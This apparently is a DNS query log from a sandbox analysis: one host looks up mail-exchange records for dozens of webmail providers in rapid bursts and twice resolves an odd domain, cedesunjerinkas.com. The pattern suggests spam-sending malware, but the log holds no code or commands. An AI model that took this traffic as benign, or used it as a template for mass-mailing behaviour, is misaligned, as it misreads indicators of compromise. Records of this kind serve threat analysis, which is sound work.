Jan 7, 2022 15:54:01.475949049 CET	8.8.8.8	192.168.2.3	0x4054	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.475949049 CET	8.8.8.8	192.168.2.3	0x4054	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.475949049 CET	8.8.8.8	192.168.2.3	0x4054	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.475949049 CET	8.8.8.8	192.168.2.3	0x4054	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.475949049 CET	8.8.8.8	192.168.2.3	0x4054	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:01.495970011 CET	8.8.8.8	192.168.2.3	0x639e	No error (0)	mx3.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.517844915 CET	8.8.8.8	192.168.2.3	0x309b	No error (0)	mx10.bigmir.net		213.186.119.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.568285942 CET	8.8.8.8	192.168.2.3	0x826c	No error (0)	mx12.bigmir.net		193.239.71.112	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.589693069 CET	8.8.8.8	192.168.2.3	0x52ec	No error (0)	mx13.bigmir.net		193.239.71.113	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:01.611601114 CET	8.8.8.8	192.168.2.3	0x52a	No error (0)	mx1.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:02.160607100 CET	8.8.8.8	192.168.2.3	0x5e8e	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:02.160607100 CET	8.8.8.8	192.168.2.3	0x5e8e	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:02.182246923 CET	8.8.8.8	192.168.2.3	0x61e9	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:02.182246923 CET	8.8.8.8	192.168.2.3	0x61e9	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:02.205068111 CET	8.8.8.8	192.168.2.3	0x560d	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:02.205068111 CET	8.8.8.8	192.168.2.3	0x560d	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:04.020510912 CET	8.8.8.8	192.168.2.3	0x3f63	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:04.042390108 CET	8.8.8.8	192.168.2.3	0x869	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.552912951 CET	8.8.8.8	192.168.2.3	0x125c	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.552912951 CET	8.8.8.8	192.168.2.3	0x125c	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.552912951 CET	8.8.8.8	192.168.2.3	0x125c	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.601666927 CET	8.8.8.8	192.168.2.3	0x346a	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.625185013 CET	8.8.8.8	192.168.2.3	0x6891	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.676830053 CET	8.8.8.8	192.168.2.3	0x6a8d	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.946731091 CET	8.8.8.8	192.168.2.3	0x81e0	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.946731091 CET	8.8.8.8	192.168.2.3	0x81e0	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.946731091 CET	8.8.8.8	192.168.2.3	0x81e0	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:05.981657028 CET	8.8.8.8	192.168.2.3	0xb90b	No error (0)	mta5.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.002931118 CET	8.8.8.8	192.168.2.3	0xc847	No error (0)	mta7.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.021624088 CET	8.8.8.8	192.168.2.3	0xd2e1	No error (0)	mta6.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.732239008 CET	8.8.8.8	192.168.2.3	0x270	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:06.753253937 CET	8.8.8.8	192.168.2.3	0xab4	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.57.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:06.753253937 CET	8.8.8.8	192.168.2.3	0xab4	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:07.543613911 CET	8.8.8.8	192.168.2.3	0x2276	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:07.563860893 CET	8.8.8.8	192.168.2.3	0x58b2	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:08.107095957 CET	8.8.8.8	192.168.2.3	0x15c5	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:08.127995014 CET	8.8.8.8	192.168.2.3	0x29f5	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:09.397995949 CET	8.8.8.8	192.168.2.3	0xd20f	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:09.397995949 CET	8.8.8.8	192.168.2.3	0xd20f	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:09.419254065 CET	8.8.8.8	192.168.2.3	0xb5f8	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:09.441320896 CET	8.8.8.8	192.168.2.3	0x14aa	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:11.725521088 CET	8.8.8.8	192.168.2.3	0xdc99	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:11.725521088 CET	8.8.8.8	192.168.2.3	0xdc99	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:11.743983984 CET	8.8.8.8	192.168.2.3	0x76f9	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:11.743983984 CET	8.8.8.8	192.168.2.3	0x76f9	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:11.764408112 CET	8.8.8.8	192.168.2.3	0x7964	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:11.764408112 CET	8.8.8.8	192.168.2.3	0x7964	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:13.248013973 CET	8.8.8.8	192.168.2.3	0x7654	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:13.269493103 CET	8.8.8.8	192.168.2.3	0x7b1d	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:13.728276014 CET	8.8.8.8	192.168.2.3	0x60d3	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:13.750721931 CET	8.8.8.8	192.168.2.3	0x4666	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:14.200777054 CET	8.8.8.8	192.168.2.3	0x5fa5	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:14.200777054 CET	8.8.8.8	192.168.2.3	0x5fa5	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:14.200777054 CET	8.8.8.8	192.168.2.3	0x5fa5	No error (0)	telering.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:14.222918034 CET	8.8.8.8	192.168.2.3	0xf9bd	No error (0)	mx1c50.megamailservers.eu		91.136.8.41	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:14.246479034 CET	8.8.8.8	192.168.2.3	0xf2b9	No error (0)	mx3c50.megamailservers.eu		91.136.8.47	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:14.270922899 CET	8.8.8.8	192.168.2.3	0xf5a8	No error (0)	mx2c50.megamailservers.eu		91.136.8.46	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.299649000 CET	8.8.8.8	192.168.2.3	0x959c	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.299649000 CET	8.8.8.8	192.168.2.3	0x959c	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.299649000 CET	8.8.8.8	192.168.2.3	0x959c	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.328655005 CET	8.8.8.8	192.168.2.3	0xfff6	No error (0)	mta7.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.369725943 CET	8.8.8.8	192.168.2.3	0xca17	No error (0)	www4.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.376837969 CET	8.8.8.8	192.168.2.3	0x4e73	No error (0)	mta5.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		98.136.96.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		67.195.228.111	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.400451899 CET	8.8.8.8	192.168.2.3	0xbc17	No error (0)	mta6.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.454157114 CET	8.8.8.8	192.168.2.3	0x99cb	No error (0)	a1plus.at			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.476475000 CET	8.8.8.8	192.168.2.3	0x8de6	No error (0)	smx01.a1.net		195.3.96.71	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.554572105 CET	8.8.8.8	192.168.2.3	0x4722	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.554572105 CET	8.8.8.8	192.168.2.3	0x4722	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.554572105 CET	8.8.8.8	192.168.2.3	0x4722	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.554572105 CET	8.8.8.8	192.168.2.3	0x4722	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.554572105 CET	8.8.8.8	192.168.2.3	0x4722	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.583815098 CET	8.8.8.8	192.168.2.3	0xe42e	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.157.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.606790066 CET	8.8.8.8	192.168.2.3	0x1a51	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.636908054 CET	8.8.8.8	192.168.2.3	0xc41c	No error (0)	alt2.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.642561913 CET	8.8.8.8	192.168.2.3	0x3b8a	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.660092115 CET	8.8.8.8	192.168.2.3	0x5d29	No error (0)	gmail-smtp-in.l.google.com		108.177.119.26	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.688277006 CET	8.8.8.8	192.168.2.3	0x80ca	No error (0)	alt4.gmail-smtp-in.l.google.com		173.194.202.27	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.735426903 CET	8.8.8.8	192.168.2.3	0xbf40	No error (0)	hotmail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:21.755714893 CET	8.8.8.8	192.168.2.3	0xe552	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.57.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.755714893 CET	8.8.8.8	192.168.2.3	0xe552	No error (0)	hotmail-com.olc.protection.outlook.com		104.47.58.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:21.914302111 CET	8.8.8.8	192.168.2.3	0x694c	No error (0)	www3.cedesunjerinkas.com		193.166.255.171	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:22.025392056 CET	8.8.8.8	192.168.2.3	0x5160	Name error (3)	au.au-net.ne.jp	none	none	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.182400942 CET	8.8.8.8	192.168.2.3	0x31ba	No error (0)	yandex.ru			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.204101086 CET	8.8.8.8	192.168.2.3	0x4aaa	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.415287018 CET	8.8.8.8	192.168.2.3	0x679c	No error (0)	tut.by			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.436497927 CET	8.8.8.8	192.168.2.3	0xc4c0	No error (0)	mx.yandex.ru		77.88.21.249	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.607558012 CET	8.8.8.8	192.168.2.3	0xf36c	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.607558012 CET	8.8.8.8	192.168.2.3	0xf36c	No error (0)	mail.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.630997896 CET	8.8.8.8	192.168.2.3	0x71bd	No error (0)	mx01.mail.com		74.208.5.22	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.652611017 CET	8.8.8.8	192.168.2.3	0x5ba3	No error (0)	mx00.mail.com		74.208.5.20	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.792546988 CET	8.8.8.8	192.168.2.3	0x4b16	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.792546988 CET	8.8.8.8	192.168.2.3	0x4b16	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.792546988 CET	8.8.8.8	192.168.2.3	0x4b16	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.792546988 CET	8.8.8.8	192.168.2.3	0x4b16	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.792546988 CET	8.8.8.8	192.168.2.3	0x4b16	No error (0)	bigmir.net			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:27.814831018 CET	8.8.8.8	192.168.2.3	0xc708	No error (0)	mx1.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.836760998 CET	8.8.8.8	192.168.2.3	0x6f68	No error (0)	mx3.bigmir.net		193.239.68.121	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.860738993 CET	8.8.8.8	192.168.2.3	0xfad3	No error (0)	mx10.bigmir.net		213.186.119.6	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.909627914 CET	8.8.8.8	192.168.2.3	0xe0bd	No error (0)	mx12.bigmir.net		193.239.71.112	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:27.931988001 CET	8.8.8.8	192.168.2.3	0x7ebe	No error (0)	mx13.bigmir.net		193.239.71.113	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.250781059 CET	8.8.8.8	192.168.2.3	0x83cc	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.250781059 CET	8.8.8.8	192.168.2.3	0x83cc	No error (0)	inbox.lv			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.270992041 CET	8.8.8.8	192.168.2.3	0x65df	No error (0)	mx1.inbox.lv		194.152.32.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.270992041 CET	8.8.8.8	192.168.2.3	0x65df	No error (0)	mx1.inbox.lv		194.152.32.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.302182913 CET	8.8.8.8	192.168.2.3	0x7655	No error (0)	mx2.inbox.lv		194.152.32.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.302182913 CET	8.8.8.8	192.168.2.3	0x7655	No error (0)	mx2.inbox.lv		194.152.32.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.449330091 CET	8.8.8.8	192.168.2.3	0xfc64	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.469465017 CET	8.8.8.8	192.168.2.3	0x1f56	No error (0)	msn-com.olc.protection.outlook.com		104.47.17.161	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.469465017 CET	8.8.8.8	192.168.2.3	0x1f56	No error (0)	msn-com.olc.protection.outlook.com		104.47.18.97	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:30.628643036 CET	8.8.8.8	192.168.2.3	0x5fe0	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:30.802377939 CET	8.8.8.8	192.168.2.3	0x8a0f	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:31.368439913 CET	8.8.8.8	192.168.2.3	0xd07d	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.084682941 CET	8.8.8.8	192.168.2.3	0xa02c	No error (0)	msn.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.501071930 CET	8.8.8.8	192.168.2.3	0x295d	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.501071930 CET	8.8.8.8	192.168.2.3	0x295d	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.501071930 CET	8.8.8.8	192.168.2.3	0x295d	No error (0)	yahoo.com			MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		98.136.96.75	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		67.195.228.106	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		67.195.228.110	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		67.195.228.109	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.521712065 CET	8.8.8.8	192.168.2.3	0x4fe9	No error (0)	mta5.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		67.195.204.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		67.195.204.72	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		98.136.96.74	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		98.136.96.76	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		67.195.228.94	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		67.195.204.73	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.542825937 CET	8.8.8.8	192.168.2.3	0x5f75	No error (0)	mta7.am0.yahoodns.net		67.195.204.77	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		67.195.204.79	A (IP address)	IN (0x0001)
Jan 7, 2022 15:54:32.565351963 CET	8.8.8.8	192.168.2.3	0xbce1	No error (0)	mta6.am0.yahoodns.net		98.136.96.91	A (IP address)	IN (0x0001)
